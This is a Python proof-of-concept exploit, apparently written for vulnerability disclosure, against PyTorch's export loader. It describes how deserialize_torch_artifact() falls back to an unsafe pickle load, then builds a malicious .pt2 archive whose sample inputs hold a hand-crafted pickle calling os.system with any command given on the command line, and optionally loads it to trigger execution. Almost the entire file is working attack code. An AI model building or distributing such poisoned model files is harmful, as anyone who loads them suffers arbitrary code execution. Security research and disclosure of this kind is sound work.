#!/usr/bin/env python3
"""
PoC: PyTorch Export Serializer Fallback RCE (weights_only=True → False)

The `deserialize_torch_artifact()` function in `torch/_export/serde/serialize.py:426-449`
first attempts to load pickled data with `weights_only=True`. On ANY exception,
it FALLS BACK to `weights_only=False`, which allows arbitrary code execution.

Attack: A malicious .pt2 archive contains example_inputs pickled with a
reference to `os.system`. The weights_only=True path blocks it (os is in the
blocklist), but the fallback loads the SAME data with weights_only=False → RCE.

This is a SEPARATE code path from the weights_only=False in `_package.py:877`.
Both independently allow RCE from malicious .pt2 files.

Usage:
    python poc_serialize_fallback.py                          # Generate and test
    python poc_serialize_fallback.py --cmd "calc.exe"         # Custom command
    python poc_serialize_fallback.py --output malicious.pt2   # Save to file
"""

import argparse
import io
import json
import os
import pickle
import struct
import sys
import tempfile
import zipfile

from pickle import PROTO, GLOBAL, REDUCE, STOP, BINUNICODE, TUPLE1


def make_reduce_pickle(module, name, arg):
    """
    Build a pickle equivalent to: module.name(arg)
    Uses GLOBAL opcode for the callable, REDUCE to call it.
    """
    data = (
        PROTO + bytes([2]) +
        GLOBAL + module.encode() + b'\n' + name.encode() + b'\n' +
        BINUNICODE + struct.pack('<I', len(arg)) + arg.encode('utf-8') +
        TUPLE1 +
        REDUCE +
        STOP
    )
    return data


def make_rce_pickle(command):
    """Create a pickle that executes `command` via os.system."""
    return make_reduce_pickle("os", "system", command)


def create_malicious_pt2(command, output_path=None):
    """
    1. Export a valid → PT2 archive
    2. Replace example_inputs with a malicious pickle
    3. Re-zip as ZIP_STORED
    """
    import torch
    import torch.nn as nn

    # Step 1: Export a minimal valid model
    class SimpleModel(nn.Module):
        def __init__(self):
            super().__init__()
            self.fc = nn.Linear(10, 5)
        def forward(self, x):
            return self.fc(x)

    model = SimpleModel()
    example_inputs = (torch.randn(1, 10),)
    ep = torch.export.export(model, example_inputs)

    tmp_path = tempfile.NamedTemporaryFile(suffix='.pt2', delete=False).name
    torch.export.save(ep, tmp_path)

    with open(tmp_path, 'rb') as f:
        original_bytes = f.read()
    os.unlink(tmp_path)

    # Step 2: Create the RCE pickle
    rce_pickle = make_rce_pickle(command)

    # Step 3: Replace example_inputs with RCE pickle in the PT2 archive
    # The example_inputs live at data/sample_inputs/model.pt in the PT2 archive
    modified_buf = io.BytesIO()

    with zipfile.ZipFile(io.BytesIO(original_bytes), 'r') as zin:
        with zipfile.ZipFile(modified_buf, 'w', zipfile.ZIP_STORED) as zout:
            for item in zin.infolist():
                data = zin.read(item.filename)

                # Replace sample inputs with RCE pickle
                if 'data/sample_inputs/' in item.filename:
                    print(f"  [*] Replacing {item.filename} with RCE payload ({len(rce_pickle)} bytes)")
                    data = rce_pickle

                zout.writestr(item.filename, data)

    modified_buf.seek(0)
    pt2_data = modified_buf.read()

    if output_path:
        with open(output_path, 'wb') as f:
            f.write(pt2_data)
        print(f"\n[+] Written to: {output_path} ({len(pt2_data)} bytes)")

    return pt2_data


def main():
    parser = argparse.ArgumentParser(
        description='PoC: PyTorch Export Serializer Fallback RCE')
    parser.add_argument('--cmd', default='echo SERIALIZE_FALLBACK_RCE_SUCCESS',
                       help='Command to execute')
    parser.add_argument('--output', default=None,
                       help='Save malicious .pt2 file')
    parser.add_argument('--test-load', action='store_true',
                       help='Load the malicious archive (DANGEROUS)')
    args = parser.parse_args()

    print("=" * 60)
    print("PyTorch Export Serializer Fallback RCE PoC")
    print("=" * 60)
    print(f"[*] Command: {args.cmd}")

    print("\n[*] Building malicious PT2 archive...")
    pt2_data = create_malicious_pt2(args.cmd, args.output)

    if args.test_load:
        import torch

        print(f"\n{'='*60}")
        print("[!] LOADING MALICIOUS ARCHIVE")
        print(f"[!] Code path: serialize.py:deserialize_torch_artifact()")
        print(f"[!] weights_only=True → Exception → weights_only=False")
        print(f"{'='*60}")

        tmp = tempfile.NamedTemporaryFile(suffix='.pt2', delete=False)
        tmp.write(pt2_data)
        tmp_path = tmp.name
        tmp.close()

        try:
            result = torch.export.load(tmp_path)
            print(f"[+] Load returned: {type(result).__name__}")
        except pickle.UnpicklingError as e:
            print(f"[!] BLOCKED by UnpicklingError: {e}")
        except Exception as e:
            # RCE happens before the AssertionError type check
            ename = type(e).__name__
            estr = str(e)[:200]
            print(f"[!] Post-exploitation error: {ename}: {estr}")
            print(f"[!] (RCE already executed before this error)")
        finally:
            try:
                os.unlink(tmp_path)
            except PermissionError:
                pass
    else:
        print("\n[*] Run with --test-load to test the exploit (WARNING: executes command)")


if __name__ == '__main__':
    main()